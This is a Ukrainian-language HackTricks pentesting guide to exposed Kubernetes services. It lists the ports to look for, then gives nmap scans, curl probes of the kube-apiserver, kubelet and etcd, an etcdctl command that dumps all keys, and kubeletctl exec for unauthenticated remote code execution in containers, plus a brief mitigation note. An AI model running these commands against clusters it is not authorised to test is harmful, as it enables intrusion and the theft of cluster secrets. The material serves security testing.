Pentesting Kubernetes Services
Reading time: 7 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Kubernetes використовує кілька специфічних мережевих сервісів, які ви можете знайти відкритими в Інтернеті або в внутрішній мережі, як тільки ви зможете скомпрометувати один pod.
Знаходження відкритих pod з OSINT
Один із способів може бути пошук Identity LIKE "k8s.%.com"
на crt.sh для знаходження піддоменів, пов'язаних з kubernetes. Інший спосіб може бути пошук "k8s.%.com"
на github і пошук YAML файлів, що містять рядок.
Як Kubernetes відкриває сервіси
Може бути корисно для вас зрозуміти, як Kubernetes може відкривати сервіси публічно, щоб їх знайти:
Exposing Services in Kubernetes
Знаходження відкритих pod через сканування портів
Наступні порти можуть бути відкритими в кластері Kubernetes:
Порт | Процес | Опис |
---|---|---|
443/TCP | kube-apiserver | Порт API Kubernetes |
2379/TCP | etcd | |
6666/TCP | etcd | etcd |
4194/TCP | cAdvisor | Метрики контейнерів |
6443/TCP | kube-apiserver | Порт API Kubernetes |
8443/TCP | kube-apiserver | Порт API Minikube |
8080/TCP | kube-apiserver | Небезпечний порт API |
10250/TCP | kubelet | HTTPS API, який дозволяє повний доступ |
10255/TCP | kubelet | Неавтентифікований порт HTTP тільки для читання: pod, запущені pod та стан вузла |
10256/TCP | kube-proxy | Сервер перевірки стану Kube Proxy |
9099/TCP | calico-felix | Сервер перевірки стану для Calico |
6782-4/TCP | weave | Метрики та кінцеві точки |
30000-32767/TCP | NodePort | Проксі до сервісів |
44134/TCP | Tiller | Служба Helm, що слухає |
Nmap
nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-6784,30000-32767,44134 <pod_ipaddress>/16
Kube-apiserver
Це API Kubernetes сервіс, з яким зазвичай спілкуються адміністратори, використовуючи інструмент kubectl
.
Звичайні порти: 6443 та 443, але також 8443 у minikube та 8080 як незахищений.
curl -k https://<IP Address>:(8|6)443/swaggerapi
curl -k https://<IP Address>:(8|6)443/healthz
curl -k https://<IP Address>:(8|6)443/api/v1
Перевірте наступну сторінку, щоб дізнатися, як отримати чутливі дані та виконати чутливі дії, спілкуючись з цим сервісом:
Kubelet API
Цей сервіс працює на кожному вузлі кластера. Це сервіс, який контролює поди всередині вузла. Він спілкується з kube-apiserver.
Якщо ви знайдете цей сервіс відкритим, ви, можливо, виявили неавтентифікований RCE.
Kubelet API
curl -k https://<IP address>:10250/metrics
curl -k https://<IP address>:10250/pods
Якщо відповідь Unauthorized
, це означає, що потрібна аутентифікація.
Якщо ви можете перерахувати вузли, ви можете отримати список кінцевих точок kubelets за допомогою:
kubectl get nodes -o custom-columns='IP:.status.addresses[0].address,KUBELET_PORT:.status.daemonEndpoints.kubeletEndpoint.Port' | grep -v KUBELET_PORT | while IFS='' read -r node; do
ip=$(echo $node | awk '{print $1}')
port=$(echo $node | awk '{print $2}')
echo "curl -k --max-time 30 https://$ip:$port/pods"
echo "curl -k --max-time 30 https://$ip:2379/version" #Check also for etcd
done
kubelet (Тільки для читання)
curl -k https://<IP Address>:10255
http://<external-IP>:10255/pods
etcd API
curl -k https://<IP address>:2379
curl -k https://<IP address>:2379/version
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
Tiller
helm --host tiller-deploy.kube-system:44134 version
Ви можете зловживати цим сервісом для ескалації привілеїв всередині Kubernetes:
cAdvisor
Сервіс, корисний для збору метрик.
curl -k https://<IP Address>:4194
NodePort
Коли порт відкритий на всіх вузлах через NodePort, той самий порт відкривається на всіх вузлах, проксуючи трафік у оголошений Service. За замовчуванням цей порт буде в діапазоні 30000-32767. Тому нові неперевірені сервіси можуть бути доступні через ці порти.
sudo nmap -sS -p 30000-32767 <IP>
Вразливі Неправильні Налаштування
Анонімний Доступ до Kube-apiserver
Анонімний доступ до kube-apiserver API endpoints не дозволено. Але ви можете перевірити деякі кінцеві точки:
Перевірка Анонімного Доступу до ETCD
ETCD зберігає секрети кластера, конфігураційні файли та інші чутливі дані. За замовчуванням ETCD не може бути доступним анонімно, але завжди корисно перевірити.
Якщо до ETCD можна отримати доступ анонімно, вам може знадобитися використати etcdctl інструмент. Наступна команда отримає всі збережені ключі:
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
Kubelet RCE
Документація Kubelet пояснює, що за замовчуванням анонімний доступ до сервісу дозволено:
Дозволяє анонімні запити до сервера Kubelet. Запити, які не відхилені іншим методом аутентифікації, розглядаються як анонімні запити. Анонімні запити мають ім'я користувача
system:anonymous
та ім'я групиsystem:unauthenticated
Щоб краще зрозуміти, як працює аутентифікація та авторизація API Kubelet, перегляньте цю сторінку:
Kubelet Authentication & Authorization
API сервісу Kubelet не документовано, але вихідний код можна знайти тут, і знайти відкриті кінцеві точки так само просто, як виконати:
curl -s https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep 'Path("/'
Path("/pods").
Path("/run")
Path("/exec")
Path("/attach")
Path("/portForward")
Path("/containerLogs")
Path("/runningpods/").
Всі вони звучать цікаво.
Ви можете використовувати Kubeletctl інструмент для взаємодії з Kubelet та їхніми кінцевими точками.
/pods
Ця кінцева точка перераховує поди та їхні контейнери:
kubeletctl pods
/exec
Цей кінцевий пункт дозволяє дуже легко виконувати код всередині будь-якого контейнера:
kubeletctl exec [command]
note
Щоб уникнути цієї атаки, служба kubelet повинна працювати з --anonymous-auth false
, а служба повинна бути сегрегована на мережевому рівні.
Перевірка витоку інформації з Kubelet (Тільки для читання)
Коли порт kubelet тільки для читання відкритий, стає можливим отримання інформації з API несанкціонованими особами. Витік цього порту може призвести до розкриття різних елементів конфігурації кластера. Хоча інформація, включаючи імена подів, місця розташування внутрішніх файлів та інші конфігурації, може не бути критично важливою, її витік все ще становить ризик для безпеки і повинен бути уникнутий.
Приклад того, як ця вразливість може бути використана, включає віддаленого атакуючого, який отримує доступ до конкретного URL. Перейшовши за адресою http://<external-IP>:10255/pods
, атакуючий може потенційно отримати чутливу інформацію з kubelet:
Посилання
Kubernetes Pentest Methodology Part 2
Threats & Research Archives - F-Secure Blog
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.